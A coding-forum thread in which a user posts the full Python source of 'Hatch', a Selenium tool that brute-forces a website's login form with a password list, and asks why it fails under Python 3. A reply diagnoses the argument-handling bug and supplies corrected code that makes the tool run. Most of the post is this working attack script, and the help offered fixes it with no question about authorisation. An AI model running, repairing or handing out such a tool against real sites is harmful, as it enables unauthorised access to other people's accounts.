Welcome!

By registering with us, you'll be able to discuss, share and private message with other members of our community.

SignUp Now!
  • Guest, before posting your code please take these rules into consideration:
    • It is required to use our BBCode feature to display your code. While within the editor click < / > or >_ and place your code within the BB Code prompt. This helps others with finding a solution by making it easier to read and easier to copy.
    • You can also use markdown to share your code. When using markdown your code will be automatically converted to BBCode. For help with markdown check out the markdown guide.
    • Don't share a wall of code. All we want is the problem area, the code related to your issue.


    To learn more about how to use our BBCode feature, please click here.

    Thank you, Code Forum.

Python Can't manage to fix error on Hatch Brute Forcer code to work with python3

xVoinx

New Coder
Code:
# Coded by METACHAR
# Looking to work with other hit me up on my email @[email protected] <--
import sys
import datetime
import selenium
import requests
import time as t
from sys import stdout
from selenium import webdriver
from optparse import OptionParser
from selenium.webdriver.common.keys import Keys
from selenium.common.exceptions import NoSuchElementException


# Graphics
class color:
    PURPLE = '\033[95m'
    CYAN = '\033[96m'
    DARKCYAN = '\033[36m'
    BLUE = '\033[94m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    RED = '\033[91m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'
    END = '\033[0m'
    CWHITE = '\33[37m'


# Config#
parser = OptionParser()
now = datetime.datetime.now()

# Args
parser.add_option("-u", "--username", dest="username", help="Choose the username")
parser.add_option("--usernamesel", dest="usernamesel", help="Choose the username selector")
parser.add_option("--passsel", dest="passsel", help="Choose the password selector")
parser.add_option("--loginsel", dest="loginsel", help="Choose the login button selector")
parser.add_option("--passlist", dest="passlist", help="Enter the password list directory")
parser.add_option("--website", dest="website", help="choose a website")
(options, args) = parser.parse_args()


def wizard():
    print(banner)
    website = raw_input(color.GREEN + color.BOLD + '\n[~] ' + color.CWHITE + 'Enter a website: ')
    sys.stdout.write(color.GREEN + '[!] ' + color.CWHITE + 'Checking if site exists '),
    sys.stdout.flush()
    t.sleep(1)
    try:
        request = requests.get(website)
        if request.status_code == 200:
            print(color.GREEN + '[OK]' + color.CWHITE)
            sys.stdout.flush()
    except selenium.common.exceptions.NoSuchElementException:
        pass
    except KeyboardInterrupt:
        print(color.RED + '[!]' + color.CWHITE + 'User used Ctrl-c to exit')
        exit()
    except:
        t.sleep(1)
        print(color.RED + '[X]' + color.CWHITE)
        t.sleep(1)
        print(color.RED + '[!]' + color.CWHITE + ' Website could not be located make sure to use http / https')
        exit()

    username_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username selector: ')
    password_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the password selector: ')
    login_btn_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the Login button selector: ')
    username = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username to brute-force: ')
    pass_list = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter a directory to a password list: ')
    brutes(username, username_selector, password_selector, login_btn_selector, pass_list, website)


def brutes(username, username_selector, password_selector, login_btn_selector, pass_list, website):
    f = open(pass_list, 'r')
    driver = webdriver.Chrome()
    optionss = webdriver.ChromeOptions()
    optionss.add_argument("--disable-popup-blocking")
    optionss.add_argument("--disable-extensions")
    count = 1  # count
    browser = webdriver.Chrome(chrome_options=optionss)
    while True:
        try:
            for line in f:
                browser.get(website)
                t.sleep(2)
                Sel_user = browser.find_element_by_css_selector(username_selector)  # Finds Selector
                Sel_pas = browser.find_element_by_css_selector(password_selector)  # Finds Selector
                enter = browser.find_element_by_css_selector(login_btn_selector)  # Finds Selector
                # browser.find_element_by_css_selector(password_selector).clear()
                # browser.find_element_by_css_selector(username_selector).clear()
                Sel_user.send_keys(username)
                Sel_pas.send_keys(line)
                print('------------------------')
                print(
                    color.GREEN + 'Tried password: ' + color.RED + line + color.GREEN + 'for user: ' + color.RED + username)
                print('------------------------')
        except KeyboardInterrupt:  # returns to main menu if ctrl C is used
            exit()
        except selenium.common.exceptions.NoSuchElementException:
            print(
                'AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS! ')
            print('LAST PASS ATTEMPT BELOW')
            print(color.GREEN + 'Password has been found: {0}'.format(line))
            print(color.YELLOW + 'Have fun :)')
            exit()


banner = color.BOLD + color.RED + '''
  _    _       _       _
| |  | |     | |     | |
| |__| | __ _| |_ ___| |__
|  __  |/ _` | __/ __| '_ \\
| |  | | (_| | || (__| | | |
|_|  |_|\__,_|\__\___|_| |_|
  {0}[{1}-{2}]--> {3}V.1.0
  {4}[{5}-{6}]--> {7}coded by Metachar
  {8}[{9}-{10}]-->{11} brute-force tool                      '''.format(color.RED, color.CWHITE, color.RED, color.GREEN,
                                                                        color.RED, color.CWHITE, color.RED, color.GREEN,
                                                                        color.RED, color.CWHITE, color.RED, color.GREEN)

driver = webdriver.Chrome()
optionss = webdriver.ChromeOptions()
optionss.add_argument("--disable-popup-blocking")
optionss.add_argument("--disable-extensions")
count = 1  # count

if options.username == None:
    if options.usernamesel == None:
        if options.passsel == None:
            if options.loginsel == None:
                if options.passlist == None:
                    if options.website == None:
                        wizard()

username = options.username
username_selector = options.usernamesel
password_selector = options.passsel
login_btn_selector = options.loginsel
website = options.website
pass_list = options.passlist
print(banner)
brutes(username, username_selector, password_selector, login_btn_selector, pass_list, website)
The error I get in cmd when I run it is:

Traceback (most recent call last):

File "main.py", line 143, in <module>

brutes(username, username_selector, password_selector, login_btn_selector, pass_list, website)

File "main.py", line 76, in brutes

f = open(pass_list, 'r')

TypeError: expected str, bytes or os.PathLike object, not NoneType

Please help
 
Did you pass paramters when running the python script?
The if statement on line 129 (and following if statements) will only execute "wizard()" if all the conditions are correct: you're probably looking for an "or" condition on all those tests.

The end of your code should probably be this:
Code:
if options.username == None or options.usernamesel == None or options.passsel == None or options.loginsel == None or options.passlist == None or options.website == None:
    wizard()
else:
    username = options.username
    username_selector = options.usernamesel
    password_selector = options.passsel
    login_btn_selector = options.loginsel
    website = options.website
    pass_list = options.passlist
    print(banner)
    brutes(username, username_selector, password_selector, login_btn_selector, pass_list, website)
 

New Threads

Latest posts

Buy us a coffee!

Back
Top Bottom